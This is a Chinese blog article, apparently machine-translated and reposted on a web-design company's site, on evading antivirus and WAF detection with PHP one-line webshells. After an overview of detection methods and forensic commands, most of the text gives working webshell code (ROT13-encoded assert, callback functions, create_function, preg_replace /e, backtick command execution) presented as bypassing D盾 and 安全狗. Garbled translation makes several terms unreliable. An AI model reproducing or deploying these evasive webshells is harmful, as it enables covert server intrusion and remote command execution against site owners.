前言
在运行CTF或者渗透的时候,我们经常会遇到WAF,普通的木马一句话就能检测出来。跑CTF也不错。如果是渗透测试,可以直接屏蔽该IP并发出报警信息。因此,一定要掌握一句话的方法,避免查杀木马。
检测方法
网上有很多反杀一句话木马,但如果不了解主流杀毒或者WAF的检测方法,它们就跟爆破一样。运气好的话可以进去,运气不好的话就换下一间吧。那么在此之前,我们先来了解一下有哪些检测方法可用。
日志检测
使用一般不会在系统日志中留下记录,但会在网站的网络日志中留下页面访问数据和数据提交记录。日志分析检测技术通过大量的日志文件构建请求模型来检测异常文件,称为:HTTP异常请求模型检测。其优点是当网站的访问量达到一致值时,这种检测方法具有较大的参考价值。其缺点是存在一定的误报率。对于大量的日志文件,检测工具的处理能力和效率会变得比较低。
文件内容检测(静态检测)
静态检测是指对脚本文件中使用的关键字、高危函数、文件修改时间、文件权限、文件所有者、与其他文件的关联性等多维度特征进行检测。即首先建立恶意特征库。搜索已知项的准确率较高,但缺点是漏报、误报率较高,无法搜索0day类型,容易被绕过。
具体检测方法如下:
特征检测
利用正则表达式制定相应的规则是一种非常常见的静态检测方法。通过对文件进行汇总,提取常见特征、特征值、威胁函数,形成正则规则,然后扫描整个文件并使用关键词匹配脚本。文件查找。
比较常见的有:
系统调用的命令执行函数:eval\system\cmd_shell\assert等
统计特征检测
经常会出现一些变形和混乱,楷书一般是检测不到的,但这样的楷书却与普通楷书有明显的不同。通过统计文本熵、字符串长度、特殊符号个数、重合指数、压缩比等,制定相应的规则,防止混淆。
Neopi 是一种基于统计的后门检测工具,它使用五种统计方法来搜索脚本文件中潜在的混淆或编码的恶意代码。
1、信息熵(Entropy):通过使用ASCII码表来衡量文件的不确定性; 2、最长单词(LongestWord):最长的字符串也许潜在的被编码或被混淆; 3、重合指数(Indexof Coincidence):低重合指数预示文件代码潜在的被加密或被混效过; 4、特征(Signature):在文件中搜索已知的恶意代码字符串片段; 5、压缩(Compression):对比文件的压缩比。
文件名检测
这很容易理解。有些文件名一看就可以识别。也是根据一些常见的文件名进行汇总,然后进行过滤。
喜欢:
.php、.php 等
文件行为检测(动态检测)
动态特征检测通过运行时使用的系统命令或网络流量和状态的异常来确定操作的威胁级别。它通常被加密以避免静态特征检测。运行时需要向系统发送系统命令来实现控制。系统或其他目的。通过检测系统调用来监控甚至拦截系统命令的执行,并根据行为模式深度检测脚本文件的安全性。
具体检测方法如下:
交通行为特征检测
常见的系统调用、系统配置、数据库、文件操作等,其行为决定了其数据流中的参数具有一些明显的特征。
喜欢:
ipconfig/ifconfig/syste/whoami/net stat/eval/database/systeminfo
攻击者在上传后肯定会执行一些命令,因此他可以检测系统的变化和敏感操作,通过将监控系统与之前的配置和文件变化进行比较来达到发现的目的。
过程分析
使用命令分析可疑端口、IP、PID和程序进程
netstat -anptu | grep xx
有些进程是隐藏的。您可以通过运行以下命令查看隐藏的进程
ps -ef | awk '{print}' | sort -n | uniq >1 ls /proc | sort -n |uniq >2 diff 1 2
文件分析
通过检查/tmp /init.d /usr/bin /usr/sbin等敏感目录中是否存在可疑文件,可以使用stat详细查看文件的创建、修改和访问时间。如果修改时间与事件日期 接近,则存在线性相关性,表明可能被篡改或其他
stat /usr/bin
此外,您还可以通过以下方式搜索新文件
查找24小时内修改过的PHP文件
find ./ -mtime 0 -name "*.php"
查找隐藏文件
ls -ar | grep "^\."
系统信息分析
通过查看一些系统信息来分析是否存在。
cat /root/.bash_history 查看命令操作痕迹 cat /etc/passwd 查看有无新增的用户或者除root之外uid为0的用户 crontab /etc/cron* 查看是否有后门木马程序启动相关信息
刀具特征检测
常见的工具如菜刀、冰蝎、蚁剑等,通过检测这些工具的特征即可检测出木马。
例如:中国菜刀流量特征(PHP类)
特点主要体现在身体上。 url解码后,通常包括以下部分:
eval函数/assert函数 base64_decode($_POST[z0])将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测; z0=QGluaV9zZXQ...该部分是传递攻击payload,此参数z0对应$_POST[z0]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文
不同版本对应的流量也不同,需要具体分析。这里我就不举太多例子了。
静电防杀
PHP木马静态反病毒基本上都是通过各种加密、移位或者异或等方法来隐藏关键字。让我们来看看一些常见的避免杀戮的技巧
类和函数中令人困惑的关键字
例如:use ,注意适用于PHP5版本
$c=str_rot13('nffreg');
$c($_REQUEST['x']);
?>
()函数对字符串进行ROT13编码,最终通过编码得到。但是,这可以被检测到并可以隐藏在类或函数中。
function Sn0w($a){
$b=str_rot13('nffreg');
$b($a);
}
Sn0w($_REQUEST['x']);
?>
但你仍然无法绕过D屏蔽,所以尝试在函数之外添加一个类。
class One{
function Sn0w($x){
$c=str_rot13('n!ff!re!nffreg');
$str=explode('!',$c)[3];
$str($x);
}
}
$test=new One();
$test->Sn0w($_REQUEST['x']);
?>
使用函数分割字符串,然后使用类封装类来绕过D屏蔽。 D盾
使用不受欢迎的回调函数
比较不常见的回调函数如:数组
forward_static_call_array(assert,array($_POST[x]));
?>
D盾显示等级1
还可以变形定义一个函数或类来调用相应的回调函数。常见的回调函数如下:
call_user_func_array() call_user_func() array_filter() array_walk() array_map() registregister_shutdown_function() register_tick_function() filter_var() filter_var_array() uasort() uksort() array_reduce() array_walk() array_walk_recursive()
在这里定义一个函数来调用其中一个回调函数
function Sn0w($a,$b){
array_reduce($a,$b)
}
Sn0w(assert,$_REQUEST['x']);
?>
成功绕过D盾和安全狗
您还可以定义一个要绕过的类:
class Sn0w {
var $a;
var $b;
function __construct($a,$b) {
$this->a=$a;
$this->b=$b;
}
function test() {
array_map($this->a,$this->b);
}
}
$p1=new Sn0w(assert,array($_POST['x']));
$p1->test();
?>
隐藏关键词
利用PHP的一些函数进行重组、拆分等。
使用数组
$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['a'])];
?>
使用功能
function func(){
return $_REQUEST['x'];
}
preg_replace("/hello/e",func(),"hello");
?>
另外/e可以解析为PHP代码,测试可以在5.6版本下使用。
另外,比如函数,用来创建匿名函数
$a = create_function('',$_POST['a']);
$a();
?>
使用功能
array_map("ass\x65rt",(array)$_REQUEST['a']);?>
使用特殊字符
$a = $_POST['a'];
$b = "\r";
eval($b.=$a);
?>
#\r\n\t都可以
动态反病毒防护需要你先了解各个工具的流量等,需要一定的时间来学习。
提问练习基础以避免杀戮
一个文件上传问题,我先fuzz了一下,发现被过滤了
但是`没有被过滤掉,可以直接上传PHP文件,比较简单。而且_POST和_GET被过滤了,所以用它们代替
:
echo `cat /var/www/html/*`;?>
如上所述,避免静电杀死的方法有很多。你不妨也尝试一下。
分解并合并:
$ch = explode(".","as.sy.s.tem.t");
$c = $ch[1].$ch[2].$ch[3]; //system
$c($_REQUEST['x']);
?>
使用功能:
$a = create_function('',$_REQUEST['a']);
$a();
?>
另外,方法还有很多,这里就不一一列举了。
参考博客:
扫一扫在手机端查看
-
Tags : 陕西木马免杀方式_免杀/一句话木马(PHP)
- 上一篇:域名浏览解析器错误电脑怎么办_电脑浏览网页出现域名解析错误105的解决方法
- 下一篇:连接Oracle的工具_linux环境下(SUSE 11)安装ArcSDE 10.1 的注意事项(Oracle 11g
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。


客服1